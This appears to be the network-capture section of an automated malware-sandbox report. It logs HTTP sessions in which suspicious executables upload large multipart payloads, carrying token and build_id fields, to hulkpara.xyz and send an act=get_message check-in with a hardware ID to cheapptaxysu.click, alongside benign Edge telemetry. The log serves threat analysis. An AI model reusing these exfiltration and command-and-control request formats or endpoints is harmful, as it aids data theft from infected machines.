AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:25 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:25 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:25 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:25 UTC	717	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:27 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 19 Dec 2024 15:11:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-19 15:11:27 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	50141	94.130.191.168	443	6756	C:\aqhnzja\20eec459fe6c4c019b42190414a26a1f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:11:26 UTC	328	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----R9HLNOHDJMYUAA1DT0HL User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: hulkpara.xyz Content-Length: 6990993 Connection: Keep-Alive Cache-Control: no-cache
2024-12-19 15:11:26 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 52 39 48 4c 4e 4f 48 44 4a 4d 59 55 41 41 31 44 54 30 48 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 38 61 39 65 31 36 63 30 38 66 39 37 63 37 61 32 30 66 39 63 36 36 62 62 38 66 66 62 34 64 34 0d 0a 2d 2d 2d 2d 2d 2d 52 39 48 4c 4e 4f 48 44 4a 4d 59 55 41 41 31 44 54 30 48 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 33 65 34 32 36 62 33 31 39 65 37 38 66 38 39 65 36 36 64 31 61 63 62 37 36 37 36 64 30 39 33 0d 0a 2d 2d 2d 2d 2d 2d 52 39 48 4c 4e 4f 48 44 4a 4d 59 55 41 41 31 44 54 30 48 4c 0d 0a 43 6f 6e 74 Data Ascii: ------R9HLNOHDJMYUAA1DT0HLContent-Disposition: form-data; name="token"48a9e16c08f97c7a20f9c66bb8ffb4d4------R9HLNOHDJMYUAA1DT0HLContent-Disposition: form-data; name="build_id"d3e426b319e78f89e66d1acb7676d093------R9HLNOHDJMYUAA1DT0HLCont
2024-12-19 15:11:26 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:26 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:26 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:26 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:26 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:26 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:26 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:26 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:26 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-12-19 15:11:34 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 19 Dec 2024 15:11:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	50145	172.67.177.88	443	6696	C:\Users\user\AppData\Local\Temp\1017682001\54ad0685cd.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:11:27 UTC	355	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=gIsI15dzdszQwm_l7y4xe27ztvkMZ45Pqh2aogBSwSc-1734621055-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 77 Host: cheapptaxysu.click
2024-12-19 15:11:27 UTC	77	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 43 5a 4a 76 73 73 2d 2d 26 6a 3d 26 68 77 69 64 3d 38 33 44 30 35 45 31 37 33 46 42 32 44 42 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=CZJvss--&j=&hwid=83D05E173FB2DB55AC8923850305D13E
2024-12-19 15:11:28 UTC	1133	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 15:11:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pbpvar5hh2mccs0373la4er05s; expires=Mon, 14 Apr 2025 08:58:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=loOYEpI6xtzzkYdLlMVZYg6oL9T7KabbS17OUShj9RidbesVont%2Br80BpYFdJQT%2BFkAGgLAPYPKhEHa%2FO%2BGt0J8VHzXJjtovEtvePf7EY47VOWhf9LMd42MfbNFt55I7x5%2BDNxY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f48534739b3f5fa-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1524&min_rtt=1521&rtt_var=578&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2843&recv_bytes=1068&delivery_rate=1881443&cwnd=252&unsent_bytes=0&cid=a060cc7342519dd4&ts=1628&x=0"
2024-12-19 15:11:28 UTC	54	IN	Data Raw: 33 30 0d 0a 48 62 58 4c 53 6a 38 58 59 58 6c 43 76 37 58 33 55 48 67 63 6d 73 65 58 41 73 6b 65 35 30 48 54 70 6e 79 6d 6b 4c 36 49 4b 51 74 47 36 41 3d 3d 0d 0a Data Ascii: 30HbXLSj8XYXlCv7X3UHgcmseXAske50HTpnymkL6IKQtG6A==
2024-12-19 15:11:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	50154	52.138.229.66	443	7344	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 15:11:30 UTC	1071	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1734621087994&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11898 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=09B6C4049C2967923623D15E9D006621; _EDGE_S=F=1&SID=14B2A23A8ED76C5327E7B7608F9C6D59; _EDGE_V=1; _C_ETH=1; msnup=%7B%22cnex%22%3A%22no%22%7D
2024-12-19 15:11:30 UTC	11898	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 32 2d 31 39 54 31 35 3a 31 31 3a 32 37 2e 39 39 33 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 39 34 35 31 34 63 39 37 2d 63 35 33 35 2d 34 39 63 37 2d 62 30 66 34 2d 66 63 31 37 34 38 64 62 37 39 31 61 22 2c 22 